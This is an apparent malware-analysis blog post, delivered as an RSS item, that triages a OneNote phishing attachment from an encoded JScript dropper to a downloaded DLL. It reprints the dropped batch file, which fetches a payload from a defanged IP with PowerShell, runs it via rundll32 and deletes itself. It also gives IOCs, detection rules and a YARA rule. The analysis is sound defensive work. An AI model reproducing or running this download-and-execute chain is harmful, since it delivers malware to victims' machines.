<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:fh="http://purl.org/syndication/history/1.0"><channel><title>OneReverseLook | Analysis</title><description>Malware analysis, reverse engineering and security practices: write-ups and an analyst wiki.</description><link>https://www.onereverselook.com/</link><language>en</language><fh:complete/><atom:link rel="self" href="https://www.onereverselook.com/analysis/rss.xml"/><item><title>Are You at Risk? OneNote Attachments in Phishing Emails</title><link>https://www.onereverselook.com/analysis/are-you-at-risk-onenote-attachments-in-phishing-emails/</link><guid isPermaLink="true">https://www.onereverselook.com/analysis/are-you-at-risk-onenote-attachments-in-phishing-emails/</guid><description>Attackers swapped macro documents for OneNote (.one) attachments. We triage a public sample from the email to the final DLL, then turn what we found into IOCs, experimental YARA rules and detection ideas.</description><pubDate>Wed, 15 Feb 2023 12:00:00 GMT</pubDate><content:encoded>&lt;aside aria-label=&quot;Summary&quot;&gt;&lt;p aria-hidden=&quot;true&quot;&gt;Summary&lt;/p&gt;&lt;div&gt;&lt;p&gt;Once Office started blocking macros in files from the internet, attackers moved to OneNote (.one) attachments. This post triages a public sample: a hijacked email thread, a fake “attachments from the cloud” page, an encoded JScript file, a batch file that downloads a DLL, and rundll32 to run it. It ends with IOCs, three experimental YARA rules and detection ideas.&lt;/p&gt;&lt;/div&gt;&lt;/aside&gt;
&lt;div&gt;&lt;h2 id=&quot;authors-intent&quot;&gt;Author’s intent&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;The primary goals of this post are to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Take a public sample through a first triage, from the email to the final payload.&lt;/li&gt;
&lt;li&gt;Group the email subjects and attachment names seen &lt;a href=&quot;https://www.onereverselook.com/wiki/concepts/vocabulary/&quot;&gt;in the wild (ITW)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Map the attack chain and turn each step into something a defender can detect.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;Phishing with Office macros got much harder once Microsoft started blocking macros in files downloaded from the internet. Attackers needed a new container that users would open and that would still run code, and in early 2023 they settled on OneNote. A .one notebook can embed almost any file behind an image, and double-clicking that image runs the embedded file. Macro blocking doesn’t apply, and at the time Mark of the Web didn’t follow the file out of the notebook either.&lt;/p&gt;
&lt;p&gt;In this post we look at one of these campaigns. We start with the email, open the notebook in a lab, decode the script hidden inside it and follow it to the final DLL. Then we list what we found as IOCs and detection ideas.&lt;/p&gt;
&lt;p&gt;The sample came from &lt;a href=&quot;https://www.onereverselook.com/wiki/analyst-aids/virustotal-query-cheatsheets/&quot;&gt;VirusTotal&lt;/a&gt;. If you want to follow along, do it inside an isolated VM (see &lt;a href=&quot;https://www.onereverselook.com/wiki/getting-started/build-a-safe-home-lab/&quot;&gt;Build a safe home lab&lt;/a&gt;) and never on your own machine. When you work from shared samples or someone else’s report, &lt;strong&gt;credit them&lt;/strong&gt;. All the references are listed at the bottom.&lt;/p&gt;
&lt;div&gt;&lt;h2 id=&quot;the-delivery&quot;&gt;The delivery&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://www.onereverselook.com/media/site/onenote-phishing/01-sample-email-large.webp&quot; alt=&quot;Figure 1. The phishing email: a reply in a hijacked thread, with Contract_KD61(Feb22).one attached (addresses redacted)&quot;&gt;&lt;/p&gt;
&lt;p&gt;The email in Figure 1 has the usual signs of phishing. The tone is urgent and it pushes the reader to open the attachment straight away. It’s also a &lt;strong&gt;reply to a real thread&lt;/strong&gt;. This is thread hijacking: the attacker steals mail from an account they’ve already compromised and replies inside a conversation the recipient knows. The earlier messages are real, so the new one looks like the next step in that conversation.&lt;/p&gt;
&lt;p&gt;The attachment name, &lt;code dir=&quot;auto&quot;&gt;Contract_KD61(Feb22).one&lt;/code&gt;, follows a pattern we saw across this campaign: a word describing the document (Document, Contract, Cancellations), an underscore, four letters or digits, then a month and day in parentheses. We turn that into a regex in the Detection section below.&lt;/p&gt;
&lt;div&gt;&lt;h2 id=&quot;analyzing-the-sample&quot;&gt;Analyzing the sample&lt;/h2&gt;&lt;/div&gt;
&lt;div&gt;&lt;h3 id=&quot;the-notebook&quot;&gt;The notebook&lt;/h3&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://www.onereverselook.com/media/site/onenote-phishing/02-office365-lure.webp&quot; alt=&quot;Figure 2. The OneNote page: an “Office 365” lure&quot;&gt;&lt;/p&gt;
&lt;p&gt;Opening the .one file shows a single notebook page made to look like an Office 365 notice. It says the document “contains attachments from the cloud” and asks the user to double-click “Open”.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.onereverselook.com/media/site/onenote-phishing/03-open-button-path.webp&quot; alt=&quot;Figure 3. Hovering over the “Open” button shows the embedded Open.jse&quot;&gt;&lt;/p&gt;
&lt;p&gt;The button is just an image placed over an embedded file. Hovering over it (Figure 3) shows what’s really there: &lt;strong&gt;Open.jse&lt;/strong&gt;, about 1 KB, inserted from &lt;code dir=&quot;auto&quot;&gt;Z:\builder\Open.jse&lt;/code&gt;. That source path is saved inside the notebook, so it’s a useful thing to hunt for: it points to the attacker’s build machine, not the victim’s. If the user double-clicks and accepts OneNote’s warning, Windows runs the .jse with the &lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_Script_Host&quot;&gt;Windows Script Host&lt;/a&gt; (&lt;code dir=&quot;auto&quot;&gt;wscript.exe&lt;/code&gt;).&lt;/p&gt;
&lt;aside aria-label=&quot;Check what a file really is&quot;&gt;&lt;p aria-hidden=&quot;true&quot;&gt;Check what a file really is&lt;/p&gt;&lt;div&gt;&lt;p&gt;a file extension is just part of the name, and anyone can change it. &lt;a href=&quot;https://www.onereverselook.com/wiki/file-types-101/confirming-a-file-type/&quot;&gt;Confirming a file type&lt;/a&gt; and &lt;a href=&quot;https://www.onereverselook.com/wiki/file-types-101/magic-numbers/&quot;&gt;Magic numbers&lt;/a&gt; show how to identify a file from its first bytes. &lt;a href=&quot;https://www.onereverselook.com/wiki/file-types-101/common-file-formats/&quot;&gt;Common file formats&lt;/a&gt; covers OneNote, scripts and the other formats in this post.&lt;/p&gt;&lt;/div&gt;&lt;/aside&gt;
&lt;div&gt;&lt;h3 id=&quot;decoding-openjse&quot;&gt;Decoding Open.jse&lt;/h3&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://www.onereverselook.com/media/site/onenote-phishing/04-encoded-jse.webp&quot; alt=&quot;Figure 4. Open.jse in a text editor: still encoded&quot;&gt;&lt;/p&gt;
&lt;p&gt;A .jse file is JScript that’s been run through Microsoft’s own script encoder. Opened in a text editor, it’s unreadable (Figure 4). The encoding only hides the code from casual readers, though: it isn’t encryption, and a Windows Script Decoder gives back the original script (Figure 5).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.onereverselook.com/media/site/onenote-phishing/05-decoded-jse.webp&quot; alt=&quot;Figure 5. Open.jse after decoding&quot;&gt;&lt;/p&gt;
&lt;p&gt;The decoded names are random strings like &lt;code dir=&quot;auto&quot;&gt;aQHuT8UN&lt;/code&gt; and &lt;code dir=&quot;auto&quot;&gt;avmJaznDU&lt;/code&gt;. To make the logic easier to read, we renamed the variables and added comments (Figure 6).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.onereverselook.com/media/site/onenote-phishing/06-decoded-script.webp&quot; alt=&quot;Figure 6. The decoded script, cleaned up&quot;&gt;&lt;/p&gt;
&lt;p&gt;The script does four things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Stores a long hex string&lt;/strong&gt; in &lt;code dir=&quot;auto&quot;&gt;data&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Turns that hex back into text.&lt;/strong&gt; &lt;code dir=&quot;auto&quot;&gt;avmJaznDU&lt;/code&gt; walks the string two characters at a time (&lt;code dir=&quot;auto&quot;&gt;substr(i, 2)&lt;/code&gt;), turns each pair from hex into a number (&lt;code dir=&quot;auto&quot;&gt;parseInt(..., 16)&lt;/code&gt;), and turns each number into a character (&lt;code dir=&quot;auto&quot;&gt;String.fromCharCode&lt;/code&gt;, wrapped in &lt;code dir=&quot;auto&quot;&gt;aQHuT8UN&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Writes the result to a batch file&lt;/strong&gt;, &lt;code dir=&quot;auto&quot;&gt;a8imoZ.cmd&lt;/code&gt;, using the &lt;code dir=&quot;auto&quot;&gt;scripting.filesystemobject&lt;/code&gt; ActiveX object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Runs that batch file hidden.&lt;/strong&gt; It calls &lt;code dir=&quot;auto&quot;&gt;wscript.shell&lt;/code&gt; with &lt;code dir=&quot;auto&quot;&gt;run(&apos;a8imoZ.cmd NDLL&apos;, 0)&lt;/code&gt;, and the &lt;code dir=&quot;auto&quot;&gt;0&lt;/code&gt; means no window is shown. The &lt;code dir=&quot;auto&quot;&gt;NDLL&lt;/code&gt; argument is passed in, but the batch file never uses it.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;h3 id=&quot;the-dropped-batch-file&quot;&gt;The dropped batch file&lt;/h3&gt;&lt;/div&gt;
&lt;p&gt;Decoding the hex string from Figure 6 gives the batch file. The URL is defanged here; nothing else is changed:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;@&lt;/span&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;off&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;powershell.exe IWR -uri hxxps://138.199.46[.]15/123/877173.dat -o &lt;/span&gt;&lt;span&gt;%temp%&lt;/span&gt;&lt;span&gt;\aQg9MHOT.tmp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;rundll32&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%temp%&lt;/span&gt;&lt;span&gt;\aQg9MHOT.tmp,Wind&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;( &lt;/span&gt;&lt;span&gt;del&lt;/span&gt;&lt;span&gt; /q /f &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%~f0&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;span&gt;nul&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&gt;&amp;#x26;&lt;/span&gt;&lt;span&gt;1 &lt;/span&gt;&lt;span&gt;&amp;#x26;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt; /b &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Line by line:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code dir=&quot;auto&quot;&gt;IWR&lt;/code&gt; is short for PowerShell’s &lt;code dir=&quot;auto&quot;&gt;Invoke-WebRequest&lt;/code&gt;. It downloads &lt;code dir=&quot;auto&quot;&gt;877173.dat&lt;/code&gt; over HTTPS straight from an IP address, with no domain name. A bare-IP download on &lt;a href=&quot;https://www.onereverselook.com/wiki/networking-101/common-ports/&quot;&gt;port 443&lt;/a&gt; is unusual for normal software, which makes it a good thing to alert on.&lt;/li&gt;
&lt;li&gt;The download is saved in &lt;code dir=&quot;auto&quot;&gt;%TEMP%&lt;/code&gt; as &lt;code dir=&quot;auto&quot;&gt;aQg9MHOT.tmp&lt;/code&gt;. Running &lt;code dir=&quot;auto&quot;&gt;file&lt;/code&gt; on it (Figure 7) shows it’s a 32-bit Windows DLL, whatever the &lt;code dir=&quot;auto&quot;&gt;.tmp&lt;/code&gt; extension says. See &lt;a href=&quot;https://www.onereverselook.com/wiki/file-types-101/pe-files/&quot;&gt;PE files&lt;/a&gt; for what that means.&lt;/li&gt;
&lt;li&gt;&lt;code dir=&quot;auto&quot;&gt;rundll32&lt;/code&gt; loads the DLL and calls its exported function &lt;strong&gt;&lt;code dir=&quot;auto&quot;&gt;Wind&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The last line deletes the batch file itself (&lt;code dir=&quot;auto&quot;&gt;%~f0&lt;/code&gt; is the script’s own path), so less evidence is left on disk.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://www.onereverselook.com/media/site/onenote-phishing/07-file-command.webp&quot; alt=&quot;Figure 7. file confirms the .tmp download is a DLL&quot;&gt;&lt;/p&gt;
&lt;div&gt;&lt;h3 id=&quot;the-final-payload&quot;&gt;The final payload&lt;/h3&gt;&lt;/div&gt;
&lt;p&gt;We stopped the triage at the DLL. But the full chain (a OneNote lure, then an encoded .jse, then a .cmd, then a PowerShell download, then rundll32 with the &lt;code dir=&quot;auto&quot;&gt;Wind&lt;/code&gt; export) matches public reporting on &lt;strong&gt;QakBot&lt;/strong&gt; (also called Qbot) campaigns from early 2023. CrowdStrike, Trellix and Cyble all describe the same shape. QakBot is a banking trojan that turned into a loader, and its infections were often followed by ransomware. That’s why this campaign was worth catching early.&lt;/p&gt;
&lt;div&gt;&lt;h2 id=&quot;the-attack-chain&quot;&gt;The attack chain&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://www.onereverselook.com/media/site/onenote-phishing/08-attack-chain.webp&quot; alt=&quot;Figure 8. Attack chain: email, then OneNote and the .jse, then the .cmd, then the DLL download&quot;&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;What happens&lt;/th&gt;
&lt;th&gt;Technique (MITRE ATT&amp;#x26;CK)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Hijacked email thread with a .one attachment&lt;/td&gt;
&lt;td&gt;T1566.001 Spearphishing Attachment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;User double-clicks “Open” on the lure&lt;/td&gt;
&lt;td&gt;T1204.002 User Execution: Malicious File&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code dir=&quot;auto&quot;&gt;wscript.exe&lt;/code&gt; runs the encoded Open.jse&lt;/td&gt;
&lt;td&gt;T1059.007 JavaScript, T1027 Obfuscated Files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Script writes and runs &lt;code dir=&quot;auto&quot;&gt;a8imoZ.cmd&lt;/code&gt;, hidden&lt;/td&gt;
&lt;td&gt;T1059.003 Windows Command Shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;PowerShell downloads the DLL to &lt;code dir=&quot;auto&quot;&gt;%TEMP%&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1059.001 PowerShell, T1105 Ingress Tool Transfer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;code dir=&quot;auto&quot;&gt;rundll32&lt;/code&gt; runs the DLL’s &lt;code dir=&quot;auto&quot;&gt;Wind&lt;/code&gt; export&lt;/td&gt;
&lt;td&gt;T1218.011 Rundll32&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Batch file deletes itself&lt;/td&gt;
&lt;td&gt;T1070.004 File Deletion&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div&gt;&lt;h2 id=&quot;indicators-of-compromise&quot;&gt;Indicators of compromise&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;These are from February 2023. IPs get reassigned over time, so check an IP’s current owner before you block it, and use these mainly to search back through older logs. &lt;a href=&quot;https://www.onereverselook.com/wiki/file-types-101/hashes/&quot;&gt;Hashes&lt;/a&gt; explains what an MD5 is and why it only matches one exact file. For working through IOCs from a report, see &lt;a href=&quot;https://www.onereverselook.com/wiki/analyst-aids/processing-threat-reporting/&quot;&gt;Processing Threat Reporting&lt;/a&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;138.199.46[.]15&lt;/td&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;Payload host (HTTPS, path /123/)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hxxps://138.199.46[.]15/123/877173.dat&lt;/td&gt;
&lt;td&gt;URL&lt;/td&gt;
&lt;td&gt;DLL download&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;69C454D28A5B0C0559603C72109DFFF3&lt;/td&gt;
&lt;td&gt;MD5&lt;/td&gt;
&lt;td&gt;Open.jse (embedded in the .one)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;b3e328ec3bb70610eb0af44617353323&lt;/td&gt;
&lt;td&gt;MD5&lt;/td&gt;
&lt;td&gt;a8imoZ.cmd&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;46c9ff3c71ae3fdfef3449a108bb55e9&lt;/td&gt;
&lt;td&gt;MD5&lt;/td&gt;
&lt;td&gt;877173.dat (as downloaded)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;782aafdd28e36417c43486fd42e06351&lt;/td&gt;
&lt;td&gt;MD5&lt;/td&gt;
&lt;td&gt;aQg9MHOT.tmp (DLL)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Open.jse, a8imoZ.cmd, aQg9MHOT.tmp&lt;/td&gt;
&lt;td&gt;File names&lt;/td&gt;
&lt;td&gt;Random per sample, so weak on their own&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code dir=&quot;auto&quot;&gt;Z:\builder\Open.jse&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Embedded path&lt;/td&gt;
&lt;td&gt;Source path saved in the .one&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div&gt;&lt;h2 id=&quot;detection&quot;&gt;Detection&lt;/h2&gt;&lt;/div&gt;
&lt;p&gt;Hashes and IPs change with every wave, but behavior stays the same much longer. Start with behavior.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Process chains to alert on&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code dir=&quot;auto&quot;&gt;onenote.exe&lt;/code&gt; starting &lt;code dir=&quot;auto&quot;&gt;wscript.exe&lt;/code&gt;, &lt;code dir=&quot;auto&quot;&gt;cscript.exe&lt;/code&gt;, &lt;code dir=&quot;auto&quot;&gt;mshta.exe&lt;/code&gt;, &lt;code dir=&quot;auto&quot;&gt;cmd.exe&lt;/code&gt; or &lt;code dir=&quot;auto&quot;&gt;powershell.exe&lt;/code&gt;. OneNote has almost no legitimate reason to do this.&lt;/li&gt;
&lt;li&gt;&lt;code dir=&quot;auto&quot;&gt;wscript.exe&lt;/code&gt; starting &lt;code dir=&quot;auto&quot;&gt;cmd.exe&lt;/code&gt; to run a &lt;code dir=&quot;auto&quot;&gt;.cmd&lt;/code&gt; file from the user’s folders.&lt;/li&gt;
&lt;li&gt;&lt;code dir=&quot;auto&quot;&gt;rundll32.exe&lt;/code&gt; loading a file from &lt;code dir=&quot;auto&quot;&gt;%TEMP%&lt;/code&gt; that doesn’t end in &lt;code dir=&quot;auto&quot;&gt;.dll&lt;/code&gt;, especially with a short export name like &lt;code dir=&quot;auto&quot;&gt;Wind&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;PowerShell &lt;code dir=&quot;auto&quot;&gt;Invoke-WebRequest&lt;/code&gt; (or &lt;code dir=&quot;auto&quot;&gt;IWR&lt;/code&gt;) to a URL whose host is a bare IP address.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Email&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If your mail gateway allows it, block or quarantine .one attachments from outside senders. Very few businesses need to receive them. To catch the subject and attachment-name pattern from this campaign:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt;[A-Za-z]&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;span&gt;[A-Z0-9]&lt;/span&gt;&lt;span&gt;{4}&lt;/span&gt;&lt;span&gt;\s&lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;span&gt;\(&lt;/span&gt;&lt;span&gt;(?:Jan&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Feb&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Mar&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Apr&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;May&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Jun&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Jul&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Aug&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Sep&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Oct&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Nov&lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;span&gt;Dec)\s&lt;/span&gt;&lt;span&gt;?&lt;/span&gt;&lt;span&gt;\d&lt;/span&gt;&lt;span&gt;{1,2}&lt;/span&gt;&lt;span&gt;\)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;This matches names like &lt;code dir=&quot;auto&quot;&gt;Document_NGRF(Feb 13)&lt;/code&gt; or &lt;code dir=&quot;auto&quot;&gt;Cancellations_7Q2X (Jan 31).one&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;YARA (experimental)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Three experimental rules, one for each stage we can see on disk. The first looks for a OneNote file that embeds a script. The second looks for the decoded JScript dropper. The third looks for the batch file it writes. New to YARA? Start with &lt;a href=&quot;https://www.onereverselook.com/wiki/code-and-development/yara/&quot;&gt;YARA&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;rule ORL_OneNote_Embedded_Script_Lure&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;meta:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;description = &quot;OneNote (.one) file that embeds a script or batch file behind a lure&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;author = &quot;OneReverseLook&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;date = &quot;2026-12-03&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;status = &quot;experimental&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;strings:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;// OneNote section file header GUID {7B5C52E4-D88C-4DA7-AEB1-5378D02996D3}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$one_header = { E4 52 5C 7B 8C D8 A7 4D AE B1 53 78 D0 29 96 D3 }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;// FileDataStoreObject GUID: marks each file embedded in the notebook&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$embedded   = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC }&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;// Embedded file names are stored as UTF-16&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$ext_jse = &quot;.jse&quot; wide nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$ext_vbs = &quot;.vbs&quot; wide nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$ext_vbe = &quot;.vbe&quot; wide nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$ext_cmd = &quot;.cmd&quot; wide nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$ext_bat = &quot;.bat&quot; wide nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$ext_hta = &quot;.hta&quot; wide nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$ext_wsf = &quot;.wsf&quot; wide nocase&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;condition:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;$one_header at 0 and $embedded and any of ($ext_*)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;
